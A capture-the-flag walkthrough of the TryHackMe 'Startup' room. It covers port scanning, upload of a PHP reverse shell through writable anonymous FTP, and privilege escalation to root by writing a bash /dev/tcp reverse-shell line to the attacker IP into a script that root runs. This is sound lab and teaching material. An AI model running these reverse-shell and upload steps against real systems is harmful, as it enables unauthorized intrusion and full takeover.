Title here
Summary here
Startup
January 20, 20234 minutes
https://tryhackme.com/room/startup
Attacker IP = 10.10.10.10
Target IP = 10.10.76.5
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
> ping -c 1 10.10.76.5
PING 10.10.76.5 (10.10.76.5) 56(84) bytes of data.
64 bytes from 10.10.76.5: icmp_seq=1 ttl=63 time=116 ms
--- 10.10.76.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 116.037/116.037/116.037/0.000 ms
In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux
Port scan (nmap)
Now we start with a port scan
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.76.5 -oG allPorts
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| -sS –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip host discovery |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.76.5
5 │ [*] Open ports: 21,22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts
❯ nmap -p22,80 -sC -sV 10.10.76.5
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp [NSE: writeable]
| -rw-r--r-- 1 0 0 251631 Nov 12 2020 important.jpg
|_-rw-r--r-- 1 0 0 208 Nov 12 2020 notice.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.18.108.198
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9a60b841d2201a401304843612bab94 (RSA)
| 256 ec13258c182036e6ce90e1626eba2be (ECDSA)
|_ 256 a2ff2a7281aaa29f55a4dc9223e6b43f (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance
Port 21 (FTP)
nmap reported that we can log in to FTP as anonymous. Inside the FTP there are three files: .test_log, important.jpg and notice.txt, and there is also a directory called ftp where we have write permissions.
We download the three files with get "file" to analyze them on our machine. None of them contains relevant information
Port 80 (HTTP)
Subdirectories
We start with a subdirectory scan, using dirb
dirb 10.10.76.5
It finds the files subdirectory. Inside files we see the same files as in the FTP. Since the FTP had a folder where we could upload files, we can try to upload a PHP reverse shell and then run it from the website.
Foothold
We download the .php file
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
It’s important to change the IP and port lines.
Since the .php extension is usually blocked, we change it to .phtml
Now we can connect to the FTP again and upload the .phtml into the ftp folder with put
Finally, we listen on port 443 and run the file from the website. We have the reverse shell
TTY upgrade
First, to work more comfortably, we upgrade the terminal with the following commands:
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm
Privilege escalation
Lennie
In /incidents there is a file that seems to contain a history of the commands that were run; looking around a bit, we find a spot where some credentials show up…
Root
With the pspy tool we can see that the file /home/lennie/scripts/planner.sh is run automatically as root.
We don’t have write permissions on this file, but it runs another file, /etc/printf.sh, and on that one we do have write permissions.
Inside it we put bash -c "bash -i >& /dev/tcp/10.10.10.10/442 0>&1" and listen on port 442.
We get the connection and WE ARE ROOT!!!!!